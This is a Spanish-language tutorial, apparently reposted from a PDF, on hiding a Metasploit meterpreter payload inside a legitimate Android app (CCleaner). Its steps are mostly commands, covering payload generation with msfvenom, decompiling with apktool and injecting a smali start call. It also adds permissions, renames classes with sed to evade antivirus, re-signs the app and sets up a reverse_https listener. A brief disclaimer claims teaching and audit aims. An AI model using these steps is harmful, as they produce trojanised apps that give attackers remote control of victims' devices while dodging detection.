Modificacion de Una APK Con Payload Msf

November 17, 2017 | Author: yetto13921 | Category: Android (Operating System), Mobile App, System Software, Computer Architecture, Software
Share Embed Donate


Short Description

Descripción: ñññ...

Description

CARLOS ANTONINI

Antes de comenzar con la explicación de este tipo de modificación de una aplicación legitima tengo que decir que este manual es con fines didácticos y el autor no se responsabiliza de el uso malicioso que se le pueda dar a esta información. El fin pedagógico de este manual es el aprendizaje de esta técnica de ocultación de un payload en una apk se considera que siempre que se haga utilización de esta técnica es con fines de auditoria y/o investigación pero siempre en ambas situaciones con previa autorización conveniente de las partes.

Una APK es un paquete de aplicación de Android (Android Aplication Package), en sí es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete. lo que vamos a ver a continuación es como desempaquetar un .apk. Vamos a modificarlo añadiendo un componente nuestro generado por metasploit, un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legitima a la vez que nuestro payload dejando infectado el dispositivo Android. Cuando nos encontremos ante una auditoría podamos aplicar esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y lo importante que son los orígenes fiables de estas aplicaciones nunca instalando aplicaciones de fuentes poco fiables. Espero que disfrutéis de este pequeño manual tanto como yo lo he disfrutado haciéndolo.

Modificación APK con msf



2

Carlos Antonini

Para empezar generamos el payload para Android con msf: msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk

Nos descargamos una apk legitima como ccleaner y decompilamos las dos con apktool: apktool d –f –o payload meterpeter.apk apktool d –f –o original ccleaner.apk

Modificación APK con msf



3

Carlos Antonini

Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform

Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el que queráis)

Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:

Modificación APK con msf



4

Carlos Antonini

Encima de estas, encapsulándolas habrá una etiqueta onCreate(Landroid/os/Bundle;)V

En la siguiente línea a esta ponemos: invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima

Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml

Modificación APK con msf



6

Carlos Antonini

Añadiremos los permisos que consideremos, en mi caso puse estos:

Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' f1` sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1` sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

Después de eso debemos de cambiar el fichero Payload.smali por init-config.smali

también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

que hemos puesto antes (pagina 5) con el nombre correspondiente: invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V

yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos: apktool b original/

Modificación APK con msf



7

Carlos Antonini

A continuación comenzará a construir nuestra app.

Dentro del directorio ./original/dist estará nuestra apk construida/compilada. Ahora toca firmar la apk para que esta sea “legitima” por tanto creamos en nuestro home el directorio .android mkdir ~/.android

Generamos la key para firmar con: keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

Para firmar con esa firma hacemos: jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v117-66.apk androiddebugkey

Ahora nos queda dejar a la escucha el metasploit con: msfconsole use exploit/multi/handler set Payload android/meterpreter/reverse_https set LHOST 192.168.1.135 set LPORT 8181 set ExitOnSession False exploit -j –z

Modificación APK con msf



8

Carlos Antonini

Ejecutamos la app en el móvil:





Modificación APK con msf



9

Carlos Antonini

Modificación APK con msf



10

Carlos Antonini

Deberíamos ver como se conecta nuestro meterpreter. Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos. Y bueno este es el final del manual , no voy a explicar el funcionamiento del metasploit ya que si lo conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los pasos y te aventures a realizar el Lab.

Modificación APK con msf



11

Carlos Antonini

View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF